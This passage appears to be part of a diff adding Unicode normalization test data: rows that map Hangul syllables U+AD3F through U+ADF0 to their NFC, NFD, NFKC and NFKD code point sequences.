+{ source: [0xAD3F], NFC: [0xAD3F], NFD: [0x1100, 0x116C, 0x11B2], NFKC: [0xAD3F], NFKD: [0x1100, 0x116C, 0x11B2] },
+{ source: [0xAD40], NFC: [0xAD40], NFD: [0x1100, 0x116C, 0x11B3], NFKC: [0xAD40], NFKD: [0x1100, 0x116C, 0x11B3] },
+{ source: [0xAD41], NFC: [0xAD41], NFD: [0x1100, 0x116C, 0x11B4], NFKC: [0xAD41], NFKD: [0x1100, 0x116C, 0x11B4] },
+{ source: [0xAD42], NFC: [0xAD42], NFD: [0x1100, 0x116C, 0x11B5], NFKC: [0xAD42], NFKD: [0x1100, 0x116C, 0x11B5] },
+{ source: [0xAD43], NFC: [0xAD43], NFD: [0x1100, 0x116C, 0x11B6], NFKC: [0xAD43], NFKD: [0x1100, 0x116C, 0x11B6] },
+{ source: [0xAD44], NFC: [0xAD44], NFD: [0x1100, 0x116C, 0x11B7], NFKC: [0xAD44], NFKD: [0x1100, 0x116C, 0x11B7] },
+{ source: [0xAD45], NFC: [0xAD45], NFD: [0x1100, 0x116C, 0x11B8], NFKC: [0xAD45], NFKD: [0x1100, 0x116C, 0x11B8] },
+{ source: [0xAD46], NFC: [0xAD46], NFD: [0x1100, 0x116C, 0x11B9], NFKC: [0xAD46], NFKD: [0x1100, 0x116C, 0x11B9] },
+{ source: [0xAD47], NFC: [0xAD47], NFD: [0x1100, 0x116C, 0x11BA], NFKC: [0xAD47], NFKD: [0x1100, 0x116C, 0x11BA] },
+{ source: [0xAD48], NFC: [0xAD48], NFD: [0x1100, 0x116C, 0x11BB], NFKC: [0xAD48], NFKD: [0x1100, 0x116C, 0x11BB] },
+{ source: [0xAD49], NFC: [0xAD49], NFD: [0x1100, 0x116C, 0x11BC], NFKC: [0xAD49], NFKD: [0x1100, 0x116C, 0x11BC] },
+{ source: [0xAD4A], NFC: [0xAD4A], NFD: [0x1100, 0x116C, 0x11BD], NFKC: [0xAD4A], NFKD: [0x1100, 0x116C, 0x11BD] },
+{ source: [0xAD4B], NFC: [0xAD4B], NFD: [0x1100, 0x116C, 0x11BE], NFKC: [0xAD4B], NFKD: [0x1100, 0x116C, 0x11BE] },
+{ source: [0xAD4C], NFC: [0xAD4C], NFD: [0x1100, 0x116C, 0x11BF], NFKC: [0xAD4C], NFKD: [0x1100, 0x116C, 0x11BF] },
+{ source: [0xAD4D], NFC: [0xAD4D], NFD: [0x1100, 0x116C, 0x11C0], NFKC: [0xAD4D], NFKD: [0x1100, 0x116C, 0x11C0] },
+{ source: [0xAD4E], NFC: [0xAD4E], NFD: [0x1100, 0x116C, 0x11C1], NFKC: [0xAD4E], NFKD: [0x1100, 0x116C, 0x11C1] },
+{ source: [0xAD4F], NFC: [0xAD4F], NFD: [0x1100, 0x116C, 0x11C2], NFKC: [0xAD4F], NFKD: [0x1100, 0x116C, 0x11C2] },
+{ source: [0xAD50], NFC: [0xAD50], NFD: [0x1100, 0x116D], NFKC: [0xAD50], NFKD: [0x1100, 0x116D] },
+{ source: [0xAD51], NFC: [0xAD51], NFD: [0x1100, 0x116D, 0x11A8], NFKC: [0xAD51], NFKD: [0x1100, 0x116D, 0x11A8] },
+{ source: [0xAD52], NFC: [0xAD52], NFD: [0x1100, 0x116D, 0x11A9], NFKC: [0xAD52], NFKD: [0x1100, 0x116D, 0x11A9] },
+{ source: [0xAD53], NFC: [0xAD53], NFD: [0x1100, 0x116D, 0x11AA], NFKC: [0xAD53], NFKD: [0x1100, 0x116D, 0x11AA] },
+{ source: [0xAD54], NFC: [0xAD54], NFD: [0x1100, 0x116D, 0x11AB], NFKC: [0xAD54], NFKD: [0x1100, 0x116D, 0x11AB] },
+{ source: [0xAD55], NFC: [0xAD55], NFD: [0x1100, 0x116D, 0x11AC], NFKC: [0xAD55], NFKD: [0x1100, 0x116D, 0x11AC] },
+{ source: [0xAD56], NFC: [0xAD56], NFD: [0x1100, 0x116D, 0x11AD], NFKC: [0xAD56], NFKD: [0x1100, 0x116D, 0x11AD] },
+{ source: [0xAD57], NFC: [0xAD57], NFD: [0x1100, 0x116D, 0x11AE], NFKC: [0xAD57], NFKD: [0x1100, 0x116D, 0x11AE] },
+{ source: [0xAD58], NFC: [0xAD58], NFD: [0x1100, 0x116D, 0x11AF], NFKC: [0xAD58], NFKD: [0x1100, 0x116D, 0x11AF] },
+{ source: [0xAD59], NFC: [0xAD59], NFD: [0x1100, 0x116D, 0x11B0], NFKC: [0xAD59], NFKD: [0x1100, 0x116D, 0x11B0] },
+{ source: [0xAD5A], NFC: [0xAD5A], NFD: [0x1100, 0x116D, 0x11B1], NFKC: [0xAD5A], NFKD: [0x1100, 0x116D, 0x11B1] },
+{ source: [0xAD5B], NFC: [0xAD5B], NFD: [0x1100, 0x116D, 0x11B2], NFKC: [0xAD5B], NFKD: [0x1100, 0x116D, 0x11B2] },
+{ source: [0xAD5C], NFC: [0xAD5C], NFD: [0x1100, 0x116D, 0x11B3], NFKC: [0xAD5C], NFKD: [0x1100, 0x116D, 0x11B3] },
+{ source: [0xAD5D], NFC: [0xAD5D], NFD: [0x1100, 0x116D, 0x11B4], NFKC: [0xAD5D], NFKD: [0x1100, 0x116D, 0x11B4] },
+{ source: [0xAD5E], NFC: [0xAD5E], NFD: [0x1100, 0x116D, 0x11B5], NFKC: [0xAD5E], NFKD: [0x1100, 0x116D, 0x11B5] },
+{ source: [0xAD5F], NFC: [0xAD5F], NFD: [0x1100, 0x116D, 0x11B6], NFKC: [0xAD5F], NFKD: [0x1100, 0x116D, 0x11B6] },
+{ source: [0xAD60], NFC: [0xAD60], NFD: [0x1100, 0x116D, 0x11B7], NFKC: [0xAD60], NFKD: [0x1100, 0x116D, 0x11B7] },
+{ source: [0xAD61], NFC: [0xAD61], NFD: [0x1100, 0x116D, 0x11B8], NFKC: [0xAD61], NFKD: [0x1100, 0x116D, 0x11B8] },
+{ source: [0xAD62], NFC: [0xAD62], NFD: [0x1100, 0x116D, 0x11B9], NFKC: [0xAD62], NFKD: [0x1100, 0x116D, 0x11B9] },
+{ source: [0xAD63], NFC: [0xAD63], NFD: [0x1100, 0x116D, 0x11BA], NFKC: [0xAD63], NFKD: [0x1100, 0x116D, 0x11BA] },
+{ source: [0xAD64], NFC: [0xAD64], NFD: [0x1100, 0x116D, 0x11BB], NFKC: [0xAD64], NFKD: [0x1100, 0x116D, 0x11BB] },
+{ source: [0xAD65], NFC: [0xAD65], NFD: [0x1100, 0x116D, 0x11BC], NFKC: [0xAD65], NFKD: [0x1100, 0x116D, 0x11BC] },
+{ source: [0xAD66], NFC: [0xAD66], NFD: [0x1100, 0x116D, 0x11BD], NFKC: [0xAD66], NFKD: [0x1100, 0x116D, 0x11BD] },
+{ source: [0xAD67], NFC: [0xAD67], NFD: [0x1100, 0x116D, 0x11BE], NFKC: [0xAD67], NFKD: [0x1100, 0x116D, 0x11BE] },
+{ source: [0xAD68], NFC: [0xAD68], NFD: [0x1100, 0x116D, 0x11BF], NFKC: [0xAD68], NFKD: [0x1100, 0x116D, 0x11BF] },
+{ source: [0xAD69], NFC: [0xAD69], NFD: [0x1100, 0x116D, 0x11C0], NFKC: [0xAD69], NFKD: [0x1100, 0x116D, 0x11C0] },
+{ source: [0xAD6A], NFC: [0xAD6A], NFD: [0x1100, 0x116D, 0x11C1], NFKC: [0xAD6A], NFKD: [0x1100, 0x116D, 0x11C1] },
+{ source: [0xAD6B], NFC: [0xAD6B], NFD: [0x1100, 0x116D, 0x11C2], NFKC: [0xAD6B], NFKD: [0x1100, 0x116D, 0x11C2] },
+{ source: [0xAD6C], NFC: [0xAD6C], NFD: [0x1100, 0x116E], NFKC: [0xAD6C], NFKD: [0x1100, 0x116E] },
+{ source: [0xAD6D], NFC: [0xAD6D], NFD: [0x1100, 0x116E, 0x11A8], NFKC: [0xAD6D], NFKD: [0x1100, 0x116E, 0x11A8] },
+{ source: [0xAD6E], NFC: [0xAD6E], NFD: [0x1100, 0x116E, 0x11A9], NFKC: [0xAD6E], NFKD: [0x1100, 0x116E, 0x11A9] },
+{ source: [0xAD6F], NFC: [0xAD6F], NFD: [0x1100, 0x116E, 0x11AA], NFKC: [0xAD6F], NFKD: [0x1100, 0x116E, 0x11AA] },
+{ source: [0xAD70], NFC: [0xAD70], NFD: [0x1100, 0x116E, 0x11AB], NFKC: [0xAD70], NFKD: [0x1100, 0x116E, 0x11AB] },
+{ source: [0xAD71], NFC: [0xAD71], NFD: [0x1100, 0x116E, 0x11AC], NFKC: [0xAD71], NFKD: [0x1100, 0x116E, 0x11AC] },
+{ source: [0xAD72], NFC: [0xAD72], NFD: [0x1100, 0x116E, 0x11AD], NFKC: [0xAD72], NFKD: [0x1100, 0x116E, 0x11AD] },
+{ source: [0xAD73], NFC: [0xAD73], NFD: [0x1100, 0x116E, 0x11AE], NFKC: [0xAD73], NFKD: [0x1100, 0x116E, 0x11AE] },
+{ source: [0xAD74], NFC: [0xAD74], NFD: [0x1100, 0x116E, 0x11AF], NFKC: [0xAD74], NFKD: [0x1100, 0x116E, 0x11AF] },
+{ source: [0xAD75], NFC: [0xAD75], NFD: [0x1100, 0x116E, 0x11B0], NFKC: [0xAD75], NFKD: [0x1100, 0x116E, 0x11B0] },
+{ source: [0xAD76], NFC: [0xAD76], NFD: [0x1100, 0x116E, 0x11B1], NFKC: [0xAD76], NFKD: [0x1100, 0x116E, 0x11B1] },
+{ source: [0xAD77], NFC: [0xAD77], NFD: [0x1100, 0x116E, 0x11B2], NFKC: [0xAD77], NFKD: [0x1100, 0x116E, 0x11B2] },
+{ source: [0xAD78], NFC: [0xAD78], NFD: [0x1100, 0x116E, 0x11B3], NFKC: [0xAD78], NFKD: [0x1100, 0x116E, 0x11B3] },
+{ source: [0xAD79], NFC: [0xAD79], NFD: [0x1100, 0x116E, 0x11B4], NFKC: [0xAD79], NFKD: [0x1100, 0x116E, 0x11B4] },
+{ source: [0xAD7A], NFC: [0xAD7A], NFD: [0x1100, 0x116E, 0x11B5], NFKC: [0xAD7A], NFKD: [0x1100, 0x116E, 0x11B5] },
+{ source: [0xAD7B], NFC: [0xAD7B], NFD: [0x1100, 0x116E, 0x11B6], NFKC: [0xAD7B], NFKD: [0x1100, 0x116E, 0x11B6] },
+{ source: [0xAD7C], NFC: [0xAD7C], NFD: [0x1100, 0x116E, 0x11B7], NFKC: [0xAD7C], NFKD: [0x1100, 0x116E, 0x11B7] },
+{ source: [0xAD7D], NFC: [0xAD7D], NFD: [0x1100, 0x116E, 0x11B8], NFKC: [0xAD7D], NFKD: [0x1100, 0x116E, 0x11B8] },
+{ source: [0xAD7E], NFC: [0xAD7E], NFD: [0x1100, 0x116E, 0x11B9], NFKC: [0xAD7E], NFKD: [0x1100, 0x116E, 0x11B9] },
+{ source: [0xAD7F], NFC: [0xAD7F], NFD: [0x1100, 0x116E, 0x11BA], NFKC: [0xAD7F], NFKD: [0x1100, 0x116E, 0x11BA] },
+{ source: [0xAD80], NFC: [0xAD80], NFD: [0x1100, 0x116E, 0x11BB], NFKC: [0xAD80], NFKD: [0x1100, 0x116E, 0x11BB] },
+{ source: [0xAD81], NFC: [0xAD81], NFD: [0x1100, 0x116E, 0x11BC], NFKC: [0xAD81], NFKD: [0x1100, 0x116E, 0x11BC] },
+{ source: [0xAD82], NFC: [0xAD82], NFD: [0x1100, 0x116E, 0x11BD], NFKC: [0xAD82], NFKD: [0x1100, 0x116E, 0x11BD] },
+{ source: [0xAD83], NFC: [0xAD83], NFD: [0x1100, 0x116E, 0x11BE], NFKC: [0xAD83], NFKD: [0x1100, 0x116E, 0x11BE] },
+{ source: [0xAD84], NFC: [0xAD84], NFD: [0x1100, 0x116E, 0x11BF], NFKC: [0xAD84], NFKD: [0x1100, 0x116E, 0x11BF] },
+{ source: [0xAD85], NFC: [0xAD85], NFD: [0x1100, 0x116E, 0x11C0], NFKC: [0xAD85], NFKD: [0x1100, 0x116E, 0x11C0] },
+{ source: [0xAD86], NFC: [0xAD86], NFD: [0x1100, 0x116E, 0x11C1], NFKC: [0xAD86], NFKD: [0x1100, 0x116E, 0x11C1] },
+{ source: [0xAD87], NFC: [0xAD87], NFD: [0x1100, 0x116E, 0x11C2], NFKC: [0xAD87], NFKD: [0x1100, 0x116E, 0x11C2] },
+{ source: [0xAD88], NFC: [0xAD88], NFD: [0x1100, 0x116F], NFKC: [0xAD88], NFKD: [0x1100, 0x116F] },
+{ source: [0xAD89], NFC: [0xAD89], NFD: [0x1100, 0x116F, 0x11A8], NFKC: [0xAD89], NFKD: [0x1100, 0x116F, 0x11A8] },
+{ source: [0xAD8A], NFC: [0xAD8A], NFD: [0x1100, 0x116F, 0x11A9], NFKC: [0xAD8A], NFKD: [0x1100, 0x116F, 0x11A9] },
+{ source: [0xAD8B], NFC: [0xAD8B], NFD: [0x1100, 0x116F, 0x11AA], NFKC: [0xAD8B], NFKD: [0x1100, 0x116F, 0x11AA] },
+{ source: [0xAD8C], NFC: [0xAD8C], NFD: [0x1100, 0x116F, 0x11AB], NFKC: [0xAD8C], NFKD: [0x1100, 0x116F, 0x11AB] },
+{ source: [0xAD8D], NFC: [0xAD8D], NFD: [0x1100, 0x116F, 0x11AC], NFKC: [0xAD8D], NFKD: [0x1100, 0x116F, 0x11AC] },
+{ source: [0xAD8E], NFC: [0xAD8E], NFD: [0x1100, 0x116F, 0x11AD], NFKC: [0xAD8E], NFKD: [0x1100, 0x116F, 0x11AD] },
+{ source: [0xAD8F], NFC: [0xAD8F], NFD: [0x1100, 0x116F, 0x11AE], NFKC: [0xAD8F], NFKD: [0x1100, 0x116F, 0x11AE] },
+{ source: [0xAD90], NFC: [0xAD90], NFD: [0x1100, 0x116F, 0x11AF], NFKC: [0xAD90], NFKD: [0x1100, 0x116F, 0x11AF] },
+{ source: [0xAD91], NFC: [0xAD91], NFD: [0x1100, 0x116F, 0x11B0], NFKC: [0xAD91], NFKD: [0x1100, 0x116F, 0x11B0] },
+{ source: [0xAD92], NFC: [0xAD92], NFD: [0x1100, 0x116F, 0x11B1], NFKC: [0xAD92], NFKD: [0x1100, 0x116F, 0x11B1] },
+{ source: [0xAD93], NFC: [0xAD93], NFD: [0x1100, 0x116F, 0x11B2], NFKC: [0xAD93], NFKD: [0x1100, 0x116F, 0x11B2] },
+{ source: [0xAD94], NFC: [0xAD94], NFD: [0x1100, 0x116F, 0x11B3], NFKC: [0xAD94], NFKD: [0x1100, 0x116F, 0x11B3] },
+{ source: [0xAD95], NFC: [0xAD95], NFD: [0x1100, 0x116F, 0x11B4], NFKC: [0xAD95], NFKD: [0x1100, 0x116F, 0x11B4] },
+{ source: [0xAD96], NFC: [0xAD96], NFD: [0x1100, 0x116F, 0x11B5], NFKC: [0xAD96], NFKD: [0x1100, 0x116F, 0x11B5] },
+{ source: [0xAD97], NFC: [0xAD97], NFD: [0x1100, 0x116F, 0x11B6], NFKC: [0xAD97], NFKD: [0x1100, 0x116F, 0x11B6] },
+{ source: [0xAD98], NFC: [0xAD98], NFD: [0x1100, 0x116F, 0x11B7], NFKC: [0xAD98], NFKD: [0x1100, 0x116F, 0x11B7] },
+{ source: [0xAD99], NFC: [0xAD99], NFD: [0x1100, 0x116F, 0x11B8], NFKC: [0xAD99], NFKD: [0x1100, 0x116F, 0x11B8] },
+{ source: [0xAD9A], NFC: [0xAD9A], NFD: [0x1100, 0x116F, 0x11B9], NFKC: [0xAD9A], NFKD: [0x1100, 0x116F, 0x11B9] },
+{ source: [0xAD9B], NFC: [0xAD9B], NFD: [0x1100, 0x116F, 0x11BA], NFKC: [0xAD9B], NFKD: [0x1100, 0x116F, 0x11BA] },
+{ source: [0xAD9C], NFC: [0xAD9C], NFD: [0x1100, 0x116F, 0x11BB], NFKC: [0xAD9C], NFKD: [0x1100, 0x116F, 0x11BB] },
+{ source: [0xAD9D], NFC: [0xAD9D], NFD: [0x1100, 0x116F, 0x11BC], NFKC: [0xAD9D], NFKD: [0x1100, 0x116F, 0x11BC] },
+{ source: [0xAD9E], NFC: [0xAD9E], NFD: [0x1100, 0x116F, 0x11BD], NFKC: [0xAD9E], NFKD: [0x1100, 0x116F, 0x11BD] },
+{ source: [0xAD9F], NFC: [0xAD9F], NFD: [0x1100, 0x116F, 0x11BE], NFKC: [0xAD9F], NFKD: [0x1100, 0x116F, 0x11BE] },
+{ source: [0xADA0], NFC: [0xADA0], NFD: [0x1100, 0x116F, 0x11BF], NFKC: [0xADA0], NFKD: [0x1100, 0x116F, 0x11BF] },
+{ source: [0xADA1], NFC: [0xADA1], NFD: [0x1100, 0x116F, 0x11C0], NFKC: [0xADA1], NFKD: [0x1100, 0x116F, 0x11C0] },
+{ source: [0xADA2], NFC: [0xADA2], NFD: [0x1100, 0x116F, 0x11C1], NFKC: [0xADA2], NFKD: [0x1100, 0x116F, 0x11C1] },
+{ source: [0xADA3], NFC: [0xADA3], NFD: [0x1100, 0x116F, 0x11C2], NFKC: [0xADA3], NFKD: [0x1100, 0x116F, 0x11C2] },
+{ source: [0xADA4], NFC: [0xADA4], NFD: [0x1100, 0x1170], NFKC: [0xADA4], NFKD: [0x1100, 0x1170] },
+{ source: [0xADA5], NFC: [0xADA5], NFD: [0x1100, 0x1170, 0x11A8], NFKC: [0xADA5], NFKD: [0x1100, 0x1170, 0x11A8] },
+{ source: [0xADA6], NFC: [0xADA6], NFD: [0x1100, 0x1170, 0x11A9], NFKC: [0xADA6], NFKD: [0x1100, 0x1170, 0x11A9] },
+{ source: [0xADA7], NFC: [0xADA7], NFD: [0x1100, 0x1170, 0x11AA], NFKC: [0xADA7], NFKD: [0x1100, 0x1170, 0x11AA] },
+{ source: [0xADA8], NFC: [0xADA8], NFD: [0x1100, 0x1170, 0x11AB], NFKC: [0xADA8], NFKD: [0x1100, 0x1170, 0x11AB] },
+{ source: [0xADA9], NFC: [0xADA9], NFD: [0x1100, 0x1170, 0x11AC], NFKC: [0xADA9], NFKD: [0x1100, 0x1170, 0x11AC] },
+{ source: [0xADAA], NFC: [0xADAA], NFD: [0x1100, 0x1170, 0x11AD], NFKC: [0xADAA], NFKD: [0x1100, 0x1170, 0x11AD] },
+{ source: [0xADAB], NFC: [0xADAB], NFD: [0x1100, 0x1170, 0x11AE], NFKC: [0xADAB], NFKD: [0x1100, 0x1170, 0x11AE] },
+{ source: [0xADAC], NFC: [0xADAC], NFD: [0x1100, 0x1170, 0x11AF], NFKC: [0xADAC], NFKD: [0x1100, 0x1170, 0x11AF] },
+{ source: [0xADAD], NFC: [0xADAD], NFD: [0x1100, 0x1170, 0x11B0], NFKC: [0xADAD], NFKD: [0x1100, 0x1170, 0x11B0] },
+{ source: [0xADAE], NFC: [0xADAE], NFD: [0x1100, 0x1170, 0x11B1], NFKC: [0xADAE], NFKD: [0x1100, 0x1170, 0x11B1] },
+{ source: [0xADAF], NFC: [0xADAF], NFD: [0x1100, 0x1170, 0x11B2], NFKC: [0xADAF], NFKD: [0x1100, 0x1170, 0x11B2] },
+{ source: [0xADB0], NFC: [0xADB0], NFD: [0x1100, 0x1170, 0x11B3], NFKC: [0xADB0], NFKD: [0x1100, 0x1170, 0x11B3] },
+{ source: [0xADB1], NFC: [0xADB1], NFD: [0x1100, 0x1170, 0x11B4], NFKC: [0xADB1], NFKD: [0x1100, 0x1170, 0x11B4] },
+{ source: [0xADB2], NFC: [0xADB2], NFD: [0x1100, 0x1170, 0x11B5], NFKC: [0xADB2], NFKD: [0x1100, 0x1170, 0x11B5] },
+{ source: [0xADB3], NFC: [0xADB3], NFD: [0x1100, 0x1170, 0x11B6], NFKC: [0xADB3], NFKD: [0x1100, 0x1170, 0x11B6] },
+{ source: [0xADB4], NFC: [0xADB4], NFD: [0x1100, 0x1170, 0x11B7], NFKC: [0xADB4], NFKD: [0x1100, 0x1170, 0x11B7] },
+{ source: [0xADB5], NFC: [0xADB5], NFD: [0x1100, 0x1170, 0x11B8], NFKC: [0xADB5], NFKD: [0x1100, 0x1170, 0x11B8] },
+{ source: [0xADB6], NFC: [0xADB6], NFD: [0x1100, 0x1170, 0x11B9], NFKC: [0xADB6], NFKD: [0x1100, 0x1170, 0x11B9] },
+{ source: [0xADB7], NFC: [0xADB7], NFD: [0x1100, 0x1170, 0x11BA], NFKC: [0xADB7], NFKD: [0x1100, 0x1170, 0x11BA] },
+{ source: [0xADB8], NFC: [0xADB8], NFD: [0x1100, 0x1170, 0x11BB], NFKC: [0xADB8], NFKD: [0x1100, 0x1170, 0x11BB] },
+{ source: [0xADB9], NFC: [0xADB9], NFD: [0x1100, 0x1170, 0x11BC], NFKC: [0xADB9], NFKD: [0x1100, 0x1170, 0x11BC] },
+{ source: [0xADBA], NFC: [0xADBA], NFD: [0x1100, 0x1170, 0x11BD], NFKC: [0xADBA], NFKD: [0x1100, 0x1170, 0x11BD] },
+{ source: [0xADBB], NFC: [0xADBB], NFD: [0x1100, 0x1170, 0x11BE], NFKC: [0xADBB], NFKD: [0x1100, 0x1170, 0x11BE] },
+{ source: [0xADBC], NFC: [0xADBC], NFD: [0x1100, 0x1170, 0x11BF], NFKC: [0xADBC], NFKD: [0x1100, 0x1170, 0x11BF] },
+{ source: [0xADBD], NFC: [0xADBD], NFD: [0x1100, 0x1170, 0x11C0], NFKC: [0xADBD], NFKD: [0x1100, 0x1170, 0x11C0] },
+{ source: [0xADBE], NFC: [0xADBE], NFD: [0x1100, 0x1170, 0x11C1], NFKC: [0xADBE], NFKD: [0x1100, 0x1170, 0x11C1] },
+{ source: [0xADBF], NFC: [0xADBF], NFD: [0x1100, 0x1170, 0x11C2], NFKC: [0xADBF], NFKD: [0x1100, 0x1170, 0x11C2] },
+{ source: [0xADC0], NFC: [0xADC0], NFD: [0x1100, 0x1171], NFKC: [0xADC0], NFKD: [0x1100, 0x1171] },
+{ source: [0xADC1], NFC: [0xADC1], NFD: [0x1100, 0x1171, 0x11A8], NFKC: [0xADC1], NFKD: [0x1100, 0x1171, 0x11A8] },
+{ source: [0xADC2], NFC: [0xADC2], NFD: [0x1100, 0x1171, 0x11A9], NFKC: [0xADC2], NFKD: [0x1100, 0x1171, 0x11A9] },
+{ source: [0xADC3], NFC: [0xADC3], NFD: [0x1100, 0x1171, 0x11AA], NFKC: [0xADC3], NFKD: [0x1100, 0x1171, 0x11AA] },
+{ source: [0xADC4], NFC: [0xADC4], NFD: [0x1100, 0x1171, 0x11AB], NFKC: [0xADC4], NFKD: [0x1100, 0x1171, 0x11AB] },
+{ source: [0xADC5], NFC: [0xADC5], NFD: [0x1100, 0x1171, 0x11AC], NFKC: [0xADC5], NFKD: [0x1100, 0x1171, 0x11AC] },
+{ source: [0xADC6], NFC: [0xADC6], NFD: [0x1100, 0x1171, 0x11AD], NFKC: [0xADC6], NFKD: [0x1100, 0x1171, 0x11AD] },
+{ source: [0xADC7], NFC: [0xADC7], NFD: [0x1100, 0x1171, 0x11AE], NFKC: [0xADC7], NFKD: [0x1100, 0x1171, 0x11AE] },
+{ source: [0xADC8], NFC: [0xADC8], NFD: [0x1100, 0x1171, 0x11AF], NFKC: [0xADC8], NFKD: [0x1100, 0x1171, 0x11AF] },
+{ source: [0xADC9], NFC: [0xADC9], NFD: [0x1100, 0x1171, 0x11B0], NFKC: [0xADC9], NFKD: [0x1100, 0x1171, 0x11B0] },
+{ source: [0xADCA], NFC: [0xADCA], NFD: [0x1100, 0x1171, 0x11B1], NFKC: [0xADCA], NFKD: [0x1100, 0x1171, 0x11B1] },
+{ source: [0xADCB], NFC: [0xADCB], NFD: [0x1100, 0x1171, 0x11B2], NFKC: [0xADCB], NFKD: [0x1100, 0x1171, 0x11B2] },
+{ source: [0xADCC], NFC: [0xADCC], NFD: [0x1100, 0x1171, 0x11B3], NFKC: [0xADCC], NFKD: [0x1100, 0x1171, 0x11B3] },
+{ source: [0xADCD], NFC: [0xADCD], NFD: [0x1100, 0x1171, 0x11B4], NFKC: [0xADCD], NFKD: [0x1100, 0x1171, 0x11B4] },
+{ source: [0xADCE], NFC: [0xADCE], NFD: [0x1100, 0x1171, 0x11B5], NFKC: [0xADCE], NFKD: [0x1100, 0x1171, 0x11B5] },
+{ source: [0xADCF], NFC: [0xADCF], NFD: [0x1100, 0x1171, 0x11B6], NFKC: [0xADCF], NFKD: [0x1100, 0x1171, 0x11B6] },
+{ source: [0xADD0], NFC: [0xADD0], NFD: [0x1100, 0x1171, 0x11B7], NFKC: [0xADD0], NFKD: [0x1100, 0x1171, 0x11B7] },
+{ source: [0xADD1], NFC: [0xADD1], NFD: [0x1100, 0x1171, 0x11B8], NFKC: [0xADD1], NFKD: [0x1100, 0x1171, 0x11B8] },
+{ source: [0xADD2], NFC: [0xADD2], NFD: [0x1100, 0x1171, 0x11B9], NFKC: [0xADD2], NFKD: [0x1100, 0x1171, 0x11B9] },
+{ source: [0xADD3], NFC: [0xADD3], NFD: [0x1100, 0x1171, 0x11BA], NFKC: [0xADD3], NFKD: [0x1100, 0x1171, 0x11BA] },
+{ source: [0xADD4], NFC: [0xADD4], NFD: [0x1100, 0x1171, 0x11BB], NFKC: [0xADD4], NFKD: [0x1100, 0x1171, 0x11BB] },
+{ source: [0xADD5], NFC: [0xADD5], NFD: [0x1100, 0x1171, 0x11BC], NFKC: [0xADD5], NFKD: [0x1100, 0x1171, 0x11BC] },
+{ source: [0xADD6], NFC: [0xADD6], NFD: [0x1100, 0x1171, 0x11BD], NFKC: [0xADD6], NFKD: [0x1100, 0x1171, 0x11BD] },
+{ source: [0xADD7], NFC: [0xADD7], NFD: [0x1100, 0x1171, 0x11BE], NFKC: [0xADD7], NFKD: [0x1100, 0x1171, 0x11BE] },
+{ source: [0xADD8], NFC: [0xADD8], NFD: [0x1100, 0x1171, 0x11BF], NFKC: [0xADD8], NFKD: [0x1100, 0x1171, 0x11BF] },
+{ source: [0xADD9], NFC: [0xADD9], NFD: [0x1100, 0x1171, 0x11C0], NFKC: [0xADD9], NFKD: [0x1100, 0x1171, 0x11C0] },
+{ source: [0xADDA], NFC: [0xADDA], NFD: [0x1100, 0x1171, 0x11C1], NFKC: [0xADDA], NFKD: [0x1100, 0x1171, 0x11C1] },
+{ source: [0xADDB], NFC: [0xADDB], NFD: [0x1100, 0x1171, 0x11C2], NFKC: [0xADDB], NFKD: [0x1100, 0x1171, 0x11C2] },
+{ source: [0xADDC], NFC: [0xADDC], NFD: [0x1100, 0x1172], NFKC: [0xADDC], NFKD: [0x1100, 0x1172] },
+{ source: [0xADDD], NFC: [0xADDD], NFD: [0x1100, 0x1172, 0x11A8], NFKC: [0xADDD], NFKD: [0x1100, 0x1172, 0x11A8] },
+{ source: [0xADDE], NFC: [0xADDE], NFD: [0x1100, 0x1172, 0x11A9], NFKC: [0xADDE], NFKD: [0x1100, 0x1172, 0x11A9] },
+{ source: [0xADDF], NFC: [0xADDF], NFD: [0x1100, 0x1172, 0x11AA], NFKC: [0xADDF], NFKD: [0x1100, 0x1172, 0x11AA] },
+{ source: [0xADE0], NFC: [0xADE0], NFD: [0x1100, 0x1172, 0x11AB], NFKC: [0xADE0], NFKD: [0x1100, 0x1172, 0x11AB] },
+{ source: [0xADE1], NFC: [0xADE1], NFD: [0x1100, 0x1172, 0x11AC], NFKC: [0xADE1], NFKD: [0x1100, 0x1172, 0x11AC] },
+{ source: [0xADE2], NFC: [0xADE2], NFD: [0x1100, 0x1172, 0x11AD], NFKC: [0xADE2], NFKD: [0x1100, 0x1172, 0x11AD] },
+{ source: [0xADE3], NFC: [0xADE3], NFD: [0x1100, 0x1172, 0x11AE], NFKC: [0xADE3], NFKD: [0x1100, 0x1172, 0x11AE] },
+{ source: [0xADE4], NFC: [0xADE4], NFD: [0x1100, 0x1172, 0x11AF], NFKC: [0xADE4], NFKD: [0x1100, 0x1172, 0x11AF] },
+{ source: [0xADE5], NFC: [0xADE5], NFD: [0x1100, 0x1172, 0x11B0], NFKC: [0xADE5], NFKD: [0x1100, 0x1172, 0x11B0] },
+{ source: [0xADE6], NFC: [0xADE6], NFD: [0x1100, 0x1172, 0x11B1], NFKC: [0xADE6], NFKD: [0x1100, 0x1172, 0x11B1] },
+{ source: [0xADE7], NFC: [0xADE7], NFD: [0x1100, 0x1172, 0x11B2], NFKC: [0xADE7], NFKD: [0x1100, 0x1172, 0x11B2] },
+{ source: [0xADE8], NFC: [0xADE8], NFD: [0x1100, 0x1172, 0x11B3], NFKC: [0xADE8], NFKD: [0x1100, 0x1172, 0x11B3] },
+{ source: [0xADE9], NFC: [0xADE9], NFD: [0x1100, 0x1172, 0x11B4], NFKC: [0xADE9], NFKD: [0x1100, 0x1172, 0x11B4] },
+{ source: [0xADEA], NFC: [0xADEA], NFD: [0x1100, 0x1172, 0x11B5], NFKC: [0xADEA], NFKD: [0x1100, 0x1172, 0x11B5] },
+{ source: [0xADEB], NFC: [0xADEB], NFD: [0x1100, 0x1172, 0x11B6], NFKC: [0xADEB], NFKD: [0x1100, 0x1172, 0x11B6] },
+{ source: [0xADEC], NFC: [0xADEC], NFD: [0x1100, 0x1172, 0x11B7], NFKC: [0xADEC], NFKD: [0x1100, 0x1172, 0x11B7] },
+{ source: [0xADED], NFC: [0xADED], NFD: [0x1100, 0x1172, 0x11B8], NFKC: [0xADED], NFKD: [0x1100, 0x1172, 0x11B8] },
+{ source: [0xADEE], NFC: [0xADEE], NFD: [0x1100, 0x1172, 0x11B9], NFKC: [0xADEE], NFKD: [0x1100, 0x1172, 0x11B9] },
+{ source: [0xADEF], NFC: [0xADEF], NFD: [0x1100, 0x1172, 0x11BA], NFKC: [0xADEF], NFKD: [0x1100, 0x1172, 0x11BA] },
+{ source: [0xADF0], NFC: [0xADF0], NFD: [0x1100, 0x1172, 0x11BB], NFKC: [0xADF0], NFKD: [0x1100, 0x1172, 0x11BB] },
